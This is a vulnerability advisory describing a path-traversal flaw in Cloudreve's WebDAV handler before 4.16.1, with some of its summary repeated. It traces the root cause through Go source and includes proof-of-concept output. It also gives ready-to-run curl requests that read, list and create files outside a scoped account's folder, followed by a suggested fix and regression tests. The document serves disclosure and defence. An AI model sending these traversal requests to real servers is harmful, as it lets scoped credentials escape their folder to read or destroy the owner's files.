Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the configured folder and writable credentials to create, overwrite, move, or delete them. This issue is reported as fixed in version 4.16.1.
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the configured folder and writable credentials to create, overwrite, move, or delete them. This issue is reported as fixed in version 4.16.1.
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the configured folder and writable credentials to create, overwrite, move, or delete them. This issue is reported as fixed in version 4.16.1.
## Summary
A Cloudreve WebDAV account stores a `uri` that defines the account's root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root.
Go's `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library's `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.
The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).
## Technical Detail
### Root cause
`stripPrefix` joins the request suffix onto the account base with no containment check:
```go
// pkg/webdav/webdav.go @ 54dc81d
func stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {
base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)
if err != nil {
return "", nil, http.StatusInternalServerError, err
}
prefix := davPrefix // "/dav"
if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
r = strings.TrimPrefix(r, fs.Separator)
return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check
}
return "", nil, http.StatusNotFound, errPrefixMismatch
}
```
`JoinRaw` splits on `/` and delegates to the standard library:
```go
// pkg/filemanager/fs/uri.go @ 54dc81d
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
func (u *URI) Join(elem ...string) *URI {
newUrl, _ := url.Parse(u.U.String())
return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {
return PathEscape(s)
})...)}
}
```
`PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference.
## Proof of Concept
The full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.
### Layer 1 — `net/http` hands the handler a decoded, *uncleaned* path
A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler:
```
REQUEST: GET /dav/%2e%2e/outside.txt
handler observed: URL.Path="/dav/../outside.txt" RawPath="/dav/%2e%2e/outside.txt" -> 200
REQUEST: PROPFIND /dav/%2e%2e/
handler observed: URL.Path="/dav/../" RawPath="/dav/%2e%2e/" -> 200
REQUEST: PUT /dav/%2e%2e/created-outside.txt
handler observed: URL.Path="/dav/../created-outside.txt" -> 200
REQUEST: GET /dav/%2F..%2Foutside.txt
handler observed: URL.Path="/dav//../outside.txt" RawPath="/dav/%2F..%2Foutside.txt" -> 200
```
The path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value.
### Layer 2 — Cloudreve's URI resolution escapes the root
Re-running Cloudreve's exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`:
```
traversal %2e%2e URL.Path=/dav/../outside.txt suffix="../outside.txt" => cloudreve://my/outside.txt
traversal %2F..%2F URL.Path=/dav//../outside.txt suffix="/../outside.txt" => cloudreve://my/outside.txt
benign nested URL.Path=/dav/sub/normal.txt suffix="sub/normal.txt" => cloudreve://my/restricted/sub/normal.txt
double-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt
deep traversal URL.Path=/dav/../../etc.txt suffix="../../etc.txt" => cloudreve://my/etc.txt
```
The traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling).
### Live request shapes (against a deployed instance)
```bash
# Read outside the DAV root (works for read-only credentials too)
curl --path-as-is -i -u '[email protected]:DAV_PASSWORD' \
'https://cloudreve.example/dav/%2e%2e/outside.txt'
# List outside the DAV root
curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \
-u '[email protected]:DAV_PASSWORD' \
'https://cloudreve.example/dav/%2e%2e/'
# Write outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
-u '[email protected]:DAV_PASSWORD' --data-binary @- \
'https://cloudreve.example/dav/%2e%2e/created-outside.txt'
```
## Impact
- **Read-only scoped credential**: read and list any file in the owner's namespace, outside the folder the credential was scoped to.
- **Writable scoped credential**: additionally create, overwrite, move, and delete those files.
In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole `my` filesystem.
## Suggested Fix
`fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small:
```diff
prefix := davPrefix
if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
r = strings.TrimPrefix(r, fs.Separator)
- return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil
+ candidate := base.JoinRaw(util.RemoveSlash(r))
+ if !candidate.EqualOrIsDescendantOf(base, "") {
+ return "", nil, http.StatusForbidden, errPrefixMismatch
+ }
+ return r, candidate, http.StatusOK, nil
}
return "", nil, http.StatusNotFound, errPrefixMismatch
```
Regression tests worth adding:
- `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` → rejected
- `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` → rejected
- `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` → rejected
- `/dav/sub/normal.txt` → still resolves under the account root
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 15, 2026, 2:38:54 PM
dateUpdated: Jul 15, 2026, 3:34:04 PM
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-863
Original publisher date fields
published: 2026-07-15T15:16:45.100
lastModified: 2026-07-15T18:15:13.373
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.